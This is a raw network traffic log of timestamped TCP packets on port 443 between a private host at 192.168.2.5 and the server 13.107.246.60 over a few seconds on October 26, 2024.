Oct 26, 2024 13:49:18.907284975 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.907298088 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.154740095 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.155268908 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.155287981 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.155730009 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.155735970 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.293663979 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.293781996 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.294011116 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.294259071 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.294260025 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.294281006 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.294307947 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.297199965 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.297235966 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.297450066 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.297691107 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.297704935 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.479238033 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.479763985 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.479784012 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.480276108 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.480283022 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.483160019 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.483866930 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.483866930 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.483894110 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.483916044 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.503750086 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.504549026 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.504549026 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.504566908 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.504576921 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.616415977 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.616457939 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.616533041 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.616631985 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.616652012 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.616760015 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.616760015 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.616763115 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.616780996 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.616792917 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.616795063 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.616800070 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.616810083 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.619635105 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.619725943 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.619728088 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.619772911 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.619875908 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.619875908 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.620039940 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.620079041 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.620083094 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.620098114 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.645596027 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.645658016 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.647205114 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.647651911 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.647670984 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.647705078 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.647711039 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.653484106 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.653537035 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.657706022 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.657706022 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.657764912 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.674820900 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.675285101 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.675302029 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.675882101 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.675887108 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.809288025 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.809375048 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.809561968 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.809607983 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.809607983 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.809624910 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.809633970 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.812633038 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.812731028 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:19.812952995 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.813144922 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:19.813180923 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.029042006 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.029558897 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.029592037 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.029988050 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.029994965 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.170819998 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.170907021 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.171001911 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.171139956 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.171139956 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.171160936 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.171170950 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.174406052 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.174498081 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.174587965 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.174743891 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.174773932 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.352324963 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.354866028 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.354899883 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.355479956 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.355488062 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.357048035 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.357548952 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.357564926 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.358190060 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.358201027 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.407308102 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.407922029 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.407938957 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.408392906 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.408401012 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.483217001 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.483318090 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.483391047 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.483644009 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.483644009 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.483692884 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.483721018 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.486584902 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.486629009 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.486697912 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.486920118 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.486929893 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.487241030 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.487354994 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.487432957 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.487462044 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.487481117 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.487493038 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.487507105 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.489447117 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.489526033 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.489626884 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.489767075 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.489782095 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.540326118 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.540388107 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.540437937 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.540663004 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.540678024 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.540710926 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.540716887 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.543474913 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.543512106 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.543575048 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.543746948 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.543754101 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.565922022 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.566422939 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.566462994 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.566894054 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.566901922 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.699254990 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.699343920 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.699393988 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.699556112 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.699578047 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.699594021 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.699599981 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.702472925 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.702519894 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.702584028 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.703109026 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.703125954 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.892966986 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.893544912 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.893575907 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:20.894037962 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:20.894049883 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.021065950 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.021136045 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.021290064 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.021573067 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.021595001 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.021609068 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.021615028 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.024070024 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.024112940 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.024271011 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.024431944 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.024446011 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.237236977 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.237773895 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.237819910 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.238219023 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.238229036 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.238814116 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.239094973 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.239119053 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.239588976 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.239595890 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.297312975 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.297854900 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.297871113 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.298312902 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.298320055 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.371948004 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.372035980 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.372095108 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.372138977 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.372190952 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.372309923 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.372309923 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.372347116 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.372365952 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.373784065 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.373799086 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.373812914 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.373819113 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.376111984 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.376163006 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.376230955 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.381725073 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.381757021 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.381757975 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.381778955 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.381815910 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.382009029 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.382018089 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.429451942 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.429600000 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.429727077 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.429775000 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.429788113 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.429795027 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.429800034 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.432773113 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.432792902 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.433505058 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.433692932 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.433700085 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.433865070 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.434272051 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.434290886 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.434711933 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.434715986 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.564479113 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.564574957 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.564944983 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.564990044 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.565011978 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.565025091 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.565032005 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.568932056 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.568983078 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.569123983 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.569329977 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.569341898 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.784410954 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.784936905 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.784957886 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.785485029 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.785490036 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.942930937 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.942958117 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.943011999 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.943033934 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.943062067 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.943114996 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.943325043 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.943341017 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.943353891 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.943361044 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.946345091 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.946392059 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:21.946460009 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.946621895 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:21.946633101 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.104351044 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.104964018 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.105000019 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.105434895 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.105443954 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.109389067 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.109776974 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.109803915 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.110311031 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.110316992 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.174478054 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.175034046 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.175054073 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.175493956 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.175501108 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.233208895 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.233771086 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.233839035 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.233953953 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.233979940 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.233993053 CEST	49870	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.233999014 CEST	443	49870	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.237008095 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.237066984 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.237153053 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.237334013 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.237349987 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.238451958 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.238569975 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.238620043 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.238714933 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.238739014 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.238754034 CEST	49871	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.238759995 CEST	443	49871	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.241027117 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.241048098 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.241334915 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.241486073 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.241497993 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.306178093 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.306205034 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.306267023 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.306279898 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.306322098 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.306674957 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.306690931 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.306706905 CEST	49872	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.306713104 CEST	443	49872	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.307307959 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.307893991 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.307920933 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.308355093 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.308362961 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.309964895 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.310018063 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.310086966 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.310246944 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.310260057 CEST	443	49877	13.107.246.60	192.168.2.5
